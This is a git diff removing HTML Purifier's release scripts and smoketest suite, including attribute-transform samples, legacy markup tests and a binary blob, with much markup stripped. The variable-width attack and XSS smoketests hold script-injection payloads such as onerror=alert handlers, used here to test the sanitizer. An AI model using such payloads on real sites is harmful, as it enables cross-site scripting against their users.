    "; - } else { - $config = phorum_htmlpurifier_get_config(true); - if (!isset($_POST['reset'])) $config->mergeArrayFromForm($_POST, 'config', $PHORUM['mod_htmlpurifier']['directives']); - $PHORUM['mod_htmlpurifier']['config'] = $config->getAll(); - } - $PHORUM['mod_htmlpurifier']['wysiwyg'] = !empty($_POST['wysiwyg']); - $PHORUM['mod_htmlpurifier']['suppress_message'] = !empty($_POST['suppress_message']); - if(!phorum_htmlpurifier_commit_settings()){ - $error="Database error while updating settings."; - } else { - echo "Settings Updated
    "; - } -} - -function phorum_htmlpurifier_commit_settings() { - global $PHORUM; - return phorum_db_update_settings(array("mod_htmlpurifier"=>$PHORUM["mod_htmlpurifier"])); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/release1-update.php b/classes/security/htmlpurifier/release1-update.php deleted file mode 100644 index 834d38567..000000000 --- a/classes/security/htmlpurifier/release1-update.php +++ /dev/null @@ -1,110 +0,0 @@ - 1) { - echo 'More than one release declaration in NEWS replaced' . PHP_EOL; - exit; - } - file_put_contents('NEWS', $news_c); -} - -// ...in Doxyfile -$doxyfile_c = preg_replace( - '/(?<=PROJECT_NUMBER {9}= )[^\s]+/m', // brittle - $version, - file_get_contents('Doxyfile'), - 1, $c -); -if (!$c) { - echo 'Could not update Doxyfile, missing PROJECT_NUMBER.' . PHP_EOL; - exit; -} -file_put_contents('Doxyfile', $doxyfile_c); - -// ...in HTMLPurifier.php -$htmlpurifier_c = file_get_contents('library/HTMLPurifier.php'); -$htmlpurifier_c = preg_replace( - '/HTML Purifier .+? - /', - "HTML Purifier $version - ", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing HTML Purifier [version] header.' . PHP_EOL; - exit; -} -$htmlpurifier_c = preg_replace( - '/public \$version = \'.+?\';/', - "public \$version = '$version';", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing public $version.' . PHP_EOL; - exit; -} -$htmlpurifier_c = preg_replace( - '/const VERSION = \'.+?\';/', - "const VERSION = '$version';", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing const $version.' . PHP_EOL; - exit; -} -file_put_contents('library/HTMLPurifier.php', $htmlpurifier_c); - -$config_c = file_get_contents('library/HTMLPurifier/Config.php'); -$config_c = preg_replace( - '/public \$version = \'.+?\';/', - "public \$version = '$version';", - $config_c, - 1, $c -); -if (!$c) { - echo 'Could not update Config.php, missing public $version.' . PHP_EOL; - exit; -} -file_put_contents('library/HTMLPurifier/Config.php', $config_c); - -passthru('php maintenance/flush.php'); - -if ($is_dev) echo "Review changes, write something in WHATSNEW and FOCUS, and then commit with log 'Release $version.'" . PHP_EOL; -else echo "Numbers updated to dev, no other modifications necessary!"; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/release2-tag.php b/classes/security/htmlpurifier/release2-tag.php deleted file mode 100644 index 25e5300d8..000000000 --- a/classes/security/htmlpurifier/release2-tag.php +++ /dev/null @@ -1,22 +0,0 @@ -'; - -?> - - - HTML Purifier: All Smoketests - - - - -

    HTML Purifier: All Smoketests

    -
    - - - -
    - - - - - - HTML Purifier Attribute Transformation Smoketest - - - - -

    HTML Purifier Attribute Transformation Smoketest

    -
    -
    - HTML -
    -
    - CSS -
    -
    -Requires PHP 5.

    '); - -$xml = simplexml_load_file('attrTransform.xml'); - -// attr transform enabled HTML Purifier -$config = HTMLPurifier_Config::createDefault(); -$config->set('HTML.Doctype', 'XHTML 1.0 Strict'); -$purifier = new HTMLPurifier($config); - -$title = isset($_GET['title']) ? $_GET['title'] : true; - -foreach ($xml->group as $group) { - echo '

    ' . $group['title'] . '

    '; - foreach ($group->sample as $sample) { - $sample = (string) $sample; -?> -
    -
    - -
    -
    - purify($sample); ?> -
    -
    - - - - - - -
  • menu
  • ]]>
    -
  • dir
  • ]]>
    -
    - - Red
    ]]> - #0000FF
    ]]> - Arial]]> - - - -2]]> - -1]]> - 0]]> - 1]]> - 2]]> - 3]]> - 4]]> - 5]]> - 6]]> - 7]]> - 8]]> - +1]]> - +2]]> - +3]]> - +4]]> - +5]]> - - - Centered]]> - - - Left

    ]]>
    - Center

    ]]>
    - Right

    ]]>
    -
    - - -
    ToBe
    OrNot
    ToBe
    - ]]> - - - Or - Not - - - To - Be - - - ]]> - - - ]]> - I]]> - - - - - x1 - x2 - - - ]]> - - - x1 - x2 - - - ]]> -


    ]]> - - - - - This wants to wrap - really badly yes it does - - - ]]> - - - This wants to wrap - really badly yes it does - - - ]]> - - - tall]]> - - - a]]> -
    o]]>
    -
    - - ]]> - ]]> - - - B
    A]]>
    - B
    A]]>
    - IB
    A]]>
    - IB
    A]]>
    -
    - - - Left - 1.11.2 - - ]]> - - Right - 1.11.2 - - ]]> - - Top - 1.11.2 - - ]]> - - Bottom - 1.11.2 - - ]]> - - - ]]> - ]]> - top]]> - bottom]]> - middle]]> - - - lefta]]> - centera]]> - righta]]> - - - left]]> - center]]> - right]]> - - -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
    - - - - - - diff --git a/classes/security/htmlpurifier/smoketests/basic.php b/classes/security/htmlpurifier/smoketests/basic.php deleted file mode 100644 index 1c361727c..000000000 --- a/classes/security/htmlpurifier/smoketests/basic.php +++ /dev/null @@ -1,73 +0,0 @@ - true, - 'legacy' => true -); - -$page = isset($_GET['p']) ? $_GET['p'] : false; -if (!isset($allowed[$page])) $page = false; - -$strict = isset($_GET['d']) ? (bool) $_GET['d'] : false; - -echo ''; -?> - - - - - - - - HTML Purifier Basic Smoketest - - - - - -
    : -Swap
    -Valid XHTML 1.0 Transitional -
    -set('Attr.EnableID', true); - $config->set('HTML.Strict', $strict); - $purifier = new HTMLPurifier($config); - echo $purifier->purify(file_get_contents("basic/$page.html")); -} else { - ?> -

    HTML Purifier Basic Smoketest Index

    -
      - $b) { - ?>
    - - - * {background:#F00; color:#FFF; font-weight:bold; padding:0.2em; margin:0.1em;} -#core-attributes #core-attributes-id, -#core-attributes .core-attributes-class, -#core-attributes div[title='tooltip'], -#core-attributes div[lang='en'], -#core-attributes div[onclick="alert('foo');"], -#module-text abbr, -#module-text acronym, -#module-text div blockquote, -#module-text blockquote[cite='http://www.example.com'], -#module-text br, -#module-text cite, -#module-text code, -#module-text dfn, -#module-text em, -#module-text h1, -#module-text h2, -#module-text h3, -#module-text h4, -#module-text h5, -#module-text h6, -#module-text kbd, -#module-text p, -#module-text pre, -#module-text span q, -#module-text q[cite='http://www.example.com'], -#module-text samp, -#module-text strong, -#module-text var, -#module-hypertext span a, -#module-hypertext a[accesskey='q'], -#module-hypertext a[charset='UTF-8'], -#module-hypertext a[href='http://www.example.com/'], -#module-hypertext a[hreflang='en'], -#module-hypertext a[rel='nofollow'], -#module-hypertext a[rev='index'], -#module-hypertext a[tabindex='1'], -#module-hypertext a[type='text/plain'], -#module-list dl, -#module-list ul, -#module-list ol, -#module-list li, -#module-list dd, -#module-list dt, -.insert-declarations-above - {background:#008000; margin:0; padding:0.2em;} -#module-text span, #module-text div {padding:0; margin:0.1em;} -#module-list li, #module-list dd, #module-list dt {border:1px solid #FFF;} - -/* vim: et sw=4 sts=4 */ diff --git a/classes/security/htmlpurifier/smoketests/basic/allElements.html b/classes/security/htmlpurifier/smoketests/basic/allElements.html deleted file mode 100644 index 994c8df46..000000000 --- a/classes/security/htmlpurifier/smoketests/basic/allElements.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - HTML Purifier All Elements Smoketest - - - - - -

    HTML Purifier All Elements Smoketest

    - -

    This is the all elements smoke -test. It is divided by XHTML 1.1 style modules. Make sure -div, span and id are allowed, -otherwise there will be problems.

    - -

    Core attributes

    -
    -
    id
    -
    class
    -
    title
    -
    lang
    -
    xml:lang (green when lang also present)
    -
    style
    -
    onclick (and other event handlers)
    -
    - -

    Text module

    -
    - abbr - acronym -
    blockquote
    -
    blockquote@cite
    -
    - cite - code - dfn - em -

    h1

    -

    h2

    -

    h3

    -

    h4

    -
    h5
    -
    h6
    - kbd -

    p

    -
    pre
    - q - q@cite - samp - strong - var -
    - -

    Hypertext module

    - - -

    List module

    -
    -
    dl dt
    dl dd
    -
    1. ol li
    -
    • ul li
    -
    - - - - - diff --git a/classes/security/htmlpurifier/smoketests/basic/legacy.css b/classes/security/htmlpurifier/smoketests/basic/legacy.css deleted file mode 100644 index fb600e400..000000000 --- a/classes/security/htmlpurifier/smoketests/basic/legacy.css +++ /dev/null @@ -1,73 +0,0 @@ - -center, -dir[compact='compact'], -isindex[prompt='Foo'], -menu[compact='compact'], -s, -u, -strike, - -caption[align='bottom'], -div[align='center'], -dl[compact='compact'], - -h1[align='right'], -h2[align='right'], -h3[align='right'], -h4[align='right'], -h5[align='right'], -h6[align='right'], - -hr[align='right'], -hr[noshade='noshade'], -hr[width='50'], -hr[size='50'], - -img[align='right'], -img[border='3'], -img[hspace='5'], -img[vspace='5'], - -input[align='right'], -legend[align='center'], - -li[type='A'], -li[value='5'], - -ol[compact='compact'], -ol[start='3'], -ol[type='I'], - -p[align='right'], - -pre[width='50'], - -table[align='right'], -table[bgcolor='#0000FF'], - -tr[bgcolor='#0000FF'], - -td[bgcolor='#0000FF'], -td[height='50'], -td[nowrap='nowrap'], -td[width='200'], - -th[bgcolor='#0000FF'], -th[height='50'], -th[nowrap='nowrap'], -th[width='200'], - -ul[compact='compact'], -ul[type='square'], - -.insert-declarations-above - {background:#008000; color:#FFF; font-weight:bold;} - -font {background:#BFB;} -u {border:1px solid #000;} -hr {height:1em;} -hr[size='50'] {height:50px;} -img[border='3'] {border: 3px solid #000;} -li[type='a'], li[value='5'] {color:#DDD;} - -/* vim: et sw=4 sts=4 */ diff --git a/classes/security/htmlpurifier/smoketests/basic/legacy.html b/classes/security/htmlpurifier/smoketests/basic/legacy.html deleted file mode 100644 index 0ff1c7b52..000000000 --- a/classes/security/htmlpurifier/smoketests/basic/legacy.html +++ /dev/null @@ -1,127 +0,0 @@ - - - - - HTML Purifier Legacy Smoketest Test Data - - - - - -

    HTML Purifier Legacy Smoketest Test Data

    - -

    This is the legacy smoketest.

    - -

    Elements

    - -
    -
    - - basefont: Green, Arial, size 6 text (IE-only) -
    - -
    center
    - - -
  • dir
  • -
    - -font: Green, Arial, size 6 text - -isindex: - - - -
  • menu
  • -
    - -s strike u -
    - -

    Attributes

    - -
    - - -
    *
    -
    -

    br@clear (asterisk is up)

    - - - - -
    caption@align
    Cell
    - -
    div@center
    - -
    -
    dl@compact
    -
    - -

    h1

    -

    h2

    -

    h3

    -

    h4

    -
    h5
    -
    h6
    - -hr@align -
    -hr@noshade -
    -hr@width -
    -hr@size -
    - -img@align | -img@border | -img@hspace | -img@vspace - - - -Legend - -
      -
    1. li@type (ensure that it's a capital A)
    2. -
    3. li@value
    4. -
    - -
    1. ol@compact
    -
    1. ol@start
    -
    1. ol@type
    - -

    p@align

    - -
    pre@width
    - - - -
    table@align
    -
    table@bgcolor
    - -
    tr@bgcolor
    - -
    td@bgcolor
    -
    td@height
    -
    td@nowrap
    -
    td@width
    - -
    th@bgcolor
    -
    th@height
    -
    th@nowrap
    -
    th@width
    - -
    • ul@compact
    -
    • ul@square
    - -
    - - - - - diff --git a/classes/security/htmlpurifier/smoketests/cacheConfig.php b/classes/security/htmlpurifier/smoketests/cacheConfig.php deleted file mode 100644 index 2d4ffdda3..000000000 --- a/classes/security/htmlpurifier/smoketests/cacheConfig.php +++ /dev/null @@ -1,15 +0,0 @@ -set('HTML.Doctype', 'HTML 4.01 Strict'); -$config->set('HTML.Allowed', 'b,a[href],br'); -$config->set('CSS.AllowTricky', true); -$config->set('URI.Disable', true); -$serial = $config->serialize(); - -$result = unserialize($serial); -$purifier = new HTMLPurifier($result); -echo htmlspecialchars($purifier->purify('Bold
    no formatting')); - diff --git a/classes/security/htmlpurifier/smoketests/common.php b/classes/security/htmlpurifier/smoketests/common.php deleted file mode 100644 index c4e5eb388..000000000 --- a/classes/security/htmlpurifier/smoketests/common.php +++ /dev/null @@ -1,37 +0,0 @@ - $val) { - if (!is_array($val)) { - $array[$k] = stripslashes($val); - } else { - fix_magic_quotes($array[$k]); - } - } - } - - fix_magic_quotes($_GET); - fix_magic_quotes($_POST); - fix_magic_quotes($_COOKIE); - fix_magic_quotes($_REQUEST); - fix_magic_quotes($_ENV); - fix_magic_quotes($_SERVER); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/configForm.php b/classes/security/htmlpurifier/smoketests/configForm.php deleted file mode 100644 index 90e80ac56..000000000 --- a/classes/security/htmlpurifier/smoketests/configForm.php +++ /dev/null @@ -1,77 +0,0 @@ -validate(); - -if (isset($_GET['doc'])) { - - // Hijack page generation to supply documentation - - if (file_exists('test-schema.html') && !isset($_GET['purge'])) { - echo file_get_contents('test-schema.html'); - exit; - } - - $style = 'plain'; - $configdoc_xml = 'test-schema.xml'; - - $xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); - $xml_builder->openURI($configdoc_xml); - $xml_builder->build($interchange); - unset($xml_builder); // free handle - - $xslt = new ConfigDoc_HTMLXSLTProcessor(); - $xslt->importStylesheet("../configdoc/styles/$style.xsl"); - $xslt->setParameters(array( - 'css' => '../configdoc/styles/plain.css', - )); - $html = $xslt->transformToHTML($configdoc_xml); - - unlink('test-schema.xml'); - file_put_contents('test-schema.html', $html); - echo $html; - - exit; -} - -?> - - - HTML Purifier Config Form Smoketest - - - - - -

    HTML Purifier Config Form Smoketest

    -

    This file outputs the configuration form for every single type -of directive possible.

    - -build($interchange); - -$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', true, true, $schema); -$printer = new HTMLPurifier_Printer_ConfigForm('config', '?doc#%s'); -echo $printer->render(array(HTMLPurifier_Config::createDefault(), $config)); - -?> - -
    -getAll(), true));
    -?>
    -
    - - -'; -?> - - - HTML Purifier data Scheme Smoketest - - - -

    HTML Purifier data Scheme Smoketest

    -'; - -$purifier = new HTMLPurifier(array('URI.AllowedSchemes' => 'data')); - -?> -
    purify($string); -?>
    - - - - -Error: CSSTidy library not -found, please install and configure test-settings.php -accordingly. - true, -)); - -$html = isset($_POST['html']) ? $_POST['html'] : ''; -$purified_html = $purifier->purify($html); - -?> - - - Extract Style Blocks - HTML Purifier Smoketest - -context->get('StyleBlocks') as $style) { -?> - - - -

    Extract Style Blocks

    -

    - This smoketest allows users to specify global style sheets for the - document, allowing for interesting techniques and compact markup - that wouldn't normally be possible, using the ExtractStyleBlocks filter. -

    -

    - User submitted content: -

    -
    - -
    -
    - - -
    - - -U-u*QjPY~x+q*!!Bf{V}^P zE~UxZ9-G1*X|$T1-I;T~x%b?2&OM^4s*1Z=BzL)F0Av7U0Av7U0Av7U0Av8%wPMWR zv*rQIfh9l{Pz>ZIuZ;j#flI(ypatl?69D7`4+4(@D}Vx@&qrZlAr%!B6c!c&(BI!r zFc_r2zn^F{3NQ$q0DcJ^0m5D>C_GAr0>IaSr+~_`vNG1MU(c#lt0*lk#j-3wAcXs4 ztpPN#Sd6Z&E}EO0IdI?rSFT(ExC}f8><5Pb9{_wF*b6MGudip@w(V3es7A?uyBqCV ze6unsB7p5UT)cRZ9ox6l+}sRs0r)QP+U*L!2kZjAQ(0NbPxd`e?S1zlrNGhpmPX%F zF(Ht`{cl^_IiB431f89o06zvc1JUVFS``!&Ovil+fP+B8SJ$oMr!T(9$4W|Yw1e%q z#%oQQhsJR^7aqdV8r!j_ zbzUi{kV0_i$PvEx)VI)5z6GoWLbD0L2mBWJ-2RtdV%5r(#1nSf!#$m8VHyS}{`wcz zH8hYM1z(!VbeQTC_yO>>?YnmIz-J#I5{qLy4vyB|9F9Z6wy7*Hr)2(o{`B_SH9!{d z=4=3X2-x?fkH*{eGhH_>6|IKGP%;iSWo*zRU+*U1xxmlZg{18wsulmTr1_Gk(9H!Qo+MT1F!g z3IYK(J-wN4Kl#Mcq)yMx1b}>CRB{2;Hr4)uV+;b@qQlOCtAyBDgD2)*`GCIa5>gssoP~)7W zj<0(KV2L9HBV(hybLt-$rio#in3muD%<^MdK1|bOEUJ(~x)7uS2Q14qUMYo<{FKT- z36=a_Vi@i@fKn29Lxy;308#P_i&4tNw&P2@1W+NA!phDXH$)2e4N55x$qJj4@+RXA zr4Toy#E#Yot&!Ts2AqT@o&Xt(yZ1w)42i%Ee}$L`!?|H(*up_bMRp*U;m}}(r#`^6 zETmKu6qr;oGMVoF=XXL*G*TuVooN^dWsqf=n1+FNG*R0o8jayN8r!zX&J8de8Z7Y= zK(3TCS4WjXfWA2)%FoT=-lDk#va+yDgSc(eI}qa4IR*4~b>`mjRbktT(uTlzUzj9dR7zwgZy#C;k2XsS2}aBcLZ9i{Uu-NAk`yB?19j6AT7PCkB`d zfS|T*;*sbCk3QQXg&-P@F)%Oy5cCqjS*bPG!{G@P+}RYZH9`tHJAQ@s;V&hzSd4=Q4+0$b+6Msqnpli$S9``| z{n;G;rczwE(9Wexmt5V_1vrW49sxS~x<0_R?OAn(hEl|Bn;-4j1JIGw&2s=@;DyN0 z5Z%Eb%Cu$;fZu1)(%Q<2=05|xz$7+NC;R#i0B1VieV6Fyb(At@-1scNpONdMJhORA z%JaW8DIYS)=MMv0oJfRoEiJA$R&vJXz0b0cQnGvZZmx7*26zS-nn?fvhk?DJo*pi= z{vBodkivTiLI~yra%gI7;&9`u;O;~>P4<3M-5ELt)C~;`)JQ2PE-OPyw+5lw0*lU6ay1N4R;v5Mq2?7q~Tsl+j8`45=v0%cJegJM7-}eUgQb4L1~!W*mT> zRN|8Z-QCsEXoP#K7fdj8x&Ro`z%oq!cKjIoez+UpE#ML0`cw>EF4TtZ)bm2Uv zX)(8C9;q^Cx&Wk-n9@L_xp?lM{QUW6x!lnXZiB=((oK7B=~KLHk;yMAqIUVG`1q0~ z7|AN}xQ`Gbc`gvrMBUa&MTZhbDEB}vkZp@A&n*} z!!W3;tK;O!limR6=;$C8i*fYmQMPW~N;v$Xf!9rKatMh(C!0WC9{#Kx0AkTGhQmXQ zja)}-8`5l(%g@he$BrGWUcDOAG+DH0kv9O^+uO(IZaf~Rsi}#bJ9jcP^pRqaX>XLw z%gbZSmMyGVvj)qua2yBQw!H&zCrYMSIs+gBAOj!+AOj!+AOj!+;BJ+F0UD2hYPD%9{>OV diff --git a/classes/security/htmlpurifier/smoketests/innerHTML.html b/classes/security/htmlpurifier/smoketests/innerHTML.html deleted file mode 100644 index 0b840f182..000000000 --- a/classes/security/htmlpurifier/smoketests/innerHTML.html +++ /dev/null @@ -1,33 +0,0 @@ - - - innerHTML smoketest - - - - - - - - diff --git a/classes/security/htmlpurifier/smoketests/innerHTML.js b/classes/security/htmlpurifier/smoketests/innerHTML.js deleted file mode 100644 index 74ccbb688..000000000 --- a/classes/security/htmlpurifier/smoketests/innerHTML.js +++ /dev/null @@ -1,51 +0,0 @@ -var alphabet = 'a!`=[]\\;\':"/<> &'; - -var out = document.getElementById('out'); -var testContainer = document.getElementById('testContainer'); - -function print(s) { - out.value += s + "\n"; -} - -function testImage() { - return testContainer.firstChild; -} - -function test(input) { - var count = 0; - var oldInput, newInput; - testContainer.innerHTML = ""; - testImage().setAttribute("alt", input); - print("------"); - print("Test input: " + input); - do { - oldInput = testImage().getAttribute("alt"); - var intermediate = testContainer.innerHTML; - print("Render: " + intermediate); - testContainer.innerHTML = intermediate; - if (testImage() == null) { - print("Image disappeared..."); - break; - } - newInput = testImage().getAttribute("alt"); - print("New value: " + newInput); - count++; - } while (count < 5 && newInput != oldInput); - if (count == 5) { - print("Failed to achieve fixpoint"); - } - testContainer.innerHTML = ""; -} - -print("Go!"); - -test("`` "); -test("'' "); - -for (var i = 0; i < alphabet.length; i++) { - for (var j = 0; j < alphabet.length; j++) { - test(alphabet.charAt(i) + alphabet.charAt(j)); - } -} - -// document.getElementById('out').textContent = alphabet; diff --git a/classes/security/htmlpurifier/smoketests/preserveYouTube.php b/classes/security/htmlpurifier/smoketests/preserveYouTube.php deleted file mode 100644 index 1dfa85cb6..000000000 --- a/classes/security/htmlpurifier/smoketests/preserveYouTube.php +++ /dev/null @@ -1,72 +0,0 @@ -'; -?> - - - HTML Purifier Preserve YouTube Smoketest - - - -

    HTML Purifier Preserve YouTube Smoketest

    - - - - - - - - - -'; - -$regular_purifier = new HTMLPurifier(); - -$safeobject_purifier = new HTMLPurifier(array( - 'HTML.SafeObject' => true, - 'Output.FlashCompat' => true, -)); - -?> -

    Unpurified

    -

    Click here to see the unpurified version (breaks validation).

    -
    - -

    Without YouTube exception

    -
    purify($string); -?>
    - -

    With SafeObject exception and flash compatibility

    -
    purify($string); -?>
    - - - -prepareGenerator($gen_config); -$printer_css_definition = new HTMLPurifier_Printer_CSSDefinition(); -$printer_css_definition->prepareGenerator($gen_config); - -$printer_config_form = new HTMLPurifier_Printer_ConfigForm( - 'config', - 'http://htmlpurifier.org/live/configdoc/plain.html#%s' -); - -echo ''; - -?> - - - - HTML Purifier Printer Smoketest - - - - - - - -

    HTML Purifier Printer Smoketest

    - -

    HTML Purifier claims to have a robust yet permissive whitelist: this -page will allow you to see precisely what HTML Purifier's internal -whitelist is. You can -also twiddle with the configuration settings to see how a directive -influences the internal workings of the definition objects.

    - -

    Modify configuration

    - -

    You can specify an array by typing in a comma-separated -list of items, HTML Purifier will take care of the rest (including -transformation into a real array list or a lookup table).

    - -
    -render($config, 'HTML'); -?> -

    * Some configuration directives make a distinction between an empty -variable and a null variable. A whitelist, for example, will take an -empty array as meaning no allowed elements, while checking -Null/Disabled will mean that user whitelisting functionality is disabled.

    -
    - -

    Definitions

    - -
    -
    Parent of Fragment
    -
    HTML that HTML Purifier does not live in a void: when it's - output, it has to be placed in another element by means of - something like <element> <?php echo $html - ?> </element>. The parent in this example - is element.
    -
    Strict mode
    -
    Whether or not HTML Purifier's output is Transitional or - Strict compliant. Non-strict mode still actually a little strict - and converts many deprecated elements.
    -
    #PCDATA
    -
    Literally Parsed Character Data, it is regular - text. Tags like ul don't allow text in them, so - #PCDATA is missing.
    -
    Tag transform
    -
    A tag transform will change one tag to another. Example: font - turns into a span tag with appropriate CSS.
    -
    Attr Transform
    -
    An attribute transform changes a group of attributes based on one - another. Currently, only lang and xml:lang - use this hook, to synchronize each other's values. Pre/Post indicates - whether or not the transform is done before/after validation.
    -
    Excludes
    -
    Tags that an element excludes are excluded for all descendants of - that element, and not just the children of them.
    -
    Name(Param1, Param2)
    -
    Represents an internal data-structure. You'll have to check out - the corresponding classes in HTML Purifier to find out more.
    -
    - -

    HTMLDefinition

    -render($config) ?> -

    CSSDefinition

    -render($config) ?> - - - 'val1', 'key2' => 'val2') -DESCRIPTION: The hash type is an associative array of string keys and string values. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.int.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.int.txt deleted file mode 100644 index 157df3f3e..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.int.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.int -TYPE: int -DEFAULT: 23 -DESCRIPTION: The int type is an signed integer. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.istring.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.istring.txt deleted file mode 100644 index dfd43aa48..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.istring.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.istring -TYPE: istring -DEFAULT: 'case insensitive' -DESCRIPTION: The istring type is short (no newlines), must be ASCII and is case-insensitive. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.itext.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.itext.txt deleted file mode 100644 index 97140dea8..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.itext.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.itext -TYPE: itext -DEFAULT: "case\ninsensitive\nand\npossibly\nquite\nlong" -DESCRIPTION: The text type has newlines, must be ASCII and is case-insensitive. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.list.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.list.txt deleted file mode 100644 index 55497fcdf..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.list.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.list -TYPE: list -DEFAULT: array('item1', 'item2') -DESCRIPTION: The list type is a numerically indexed array of strings. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.lookup.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.lookup.txt deleted file mode 100644 index b2479912f..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.lookup.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.lookup -TYPE: lookup -DEFAULT: array('key1' => true, 'key2' => true) -DESCRIPTION: The lookup type acts just like list, except its elements are unique and are checked with isset($var[$key]). ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.mixed.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.mixed.txt deleted file mode 100644 index 8bc14bbe6..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.mixed.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.mixed -TYPE: mixed -DEFAULT: new stdclass() -DESCRIPTION: The mixed type allows any type, and is not form-editable. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.nullbool.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.nullbool.txt deleted file mode 100644 index d3d756fc6..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.nullbool.txt +++ /dev/null @@ -1,7 +0,0 @@ -Type.nullbool -TYPE: bool/null -DEFAULT: null ---DESCRIPTION-- -Null booleans need to be treated a little specially. See %Type.nullstring -for information on what the null flag does. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.nullstring.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.nullstring.txt deleted file mode 100644 index 4db33235d..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.nullstring.txt +++ /dev/null @@ -1,9 +0,0 @@ -Type.nullstring -TYPE: string/null -DEFAULT: null ---DESCRIPTION-- -The null type is not a type, but a flag that can be added to any type -making null a valid value for that entry. It's useful for saying, "Let -the software pick the value for me," or "Don't use this element" when -false has a special meaning. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.string.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.string.txt deleted file mode 100644 index 4cde40907..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.string.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.string -TYPE: string -DEFAULT: 'Case sensitive' -DESCRIPTION: The string type is short (no newlines) and case-sensitive. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.text.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.text.txt deleted file mode 100644 index 5fca4d567..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.text.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.text -TYPE: text -DEFAULT: "Case sensitive\nand\npossibly\nquite long..." -DESCRIPTION: The text type has newlines and is case-sensitive. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/Type.txt b/classes/security/htmlpurifier/smoketests/test-schema/Type.txt deleted file mode 100644 index b4761220c..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/Type.txt +++ /dev/null @@ -1,3 +0,0 @@ -Type -DESCRIPTION: Directives demonstration the variable types ConfigSchema supports. ---# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/test-schema/info.ini b/classes/security/htmlpurifier/smoketests/test-schema/info.ini deleted file mode 100644 index 438e8acce..000000000 --- a/classes/security/htmlpurifier/smoketests/test-schema/info.ini +++ /dev/null @@ -1,3 +0,0 @@ -name = "Test Schema" - -; vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/smoketests/variableWidthAttack.php b/classes/security/htmlpurifier/smoketests/variableWidthAttack.php deleted file mode 100644 index f3b6e8214..000000000 --- a/classes/security/htmlpurifier/smoketests/variableWidthAttack.php +++ /dev/null @@ -1,57 +0,0 @@ -'; -?> - - - HTML Purifier Variable Width Attack Smoketest - - - -

    HTML Purifier Variable Width Attack Smoketest

    -

    For more information, see -Cheng Peng Su's -original advisory. This particular exploit code appears only to work -in Internet Explorer, if it works at all.

    -

    Test

    - - - - -A"'; // in our out the attribute? ;-) - $html .= "onerror=alert('$i')>O"; - $pure_html = $purifier->purify($html); -?> - - - - - - - - -
    ASCIIRawOutputRender
    - -

    Analysis

    - -

    By making sure that UTF-8 is well formed and non-SGML codepoints are -removed, as well as escaping quotes outside of tags, this is a non-threat.

    - - - -\t
    ', '»', '\0'), - escapeHTML( - str_replace("\0", '\0(null)', - wordwrap($string, 28, " »\n", true) - ) - ) - ); -} - -?> - - - HTML Purifier XSS Attacks Smoketest - - - - -

    HTML Purifier XSS Attacks Smoketest

    -

    XSS attacks are from -http://ha.ckers.org/xss.html.

    -

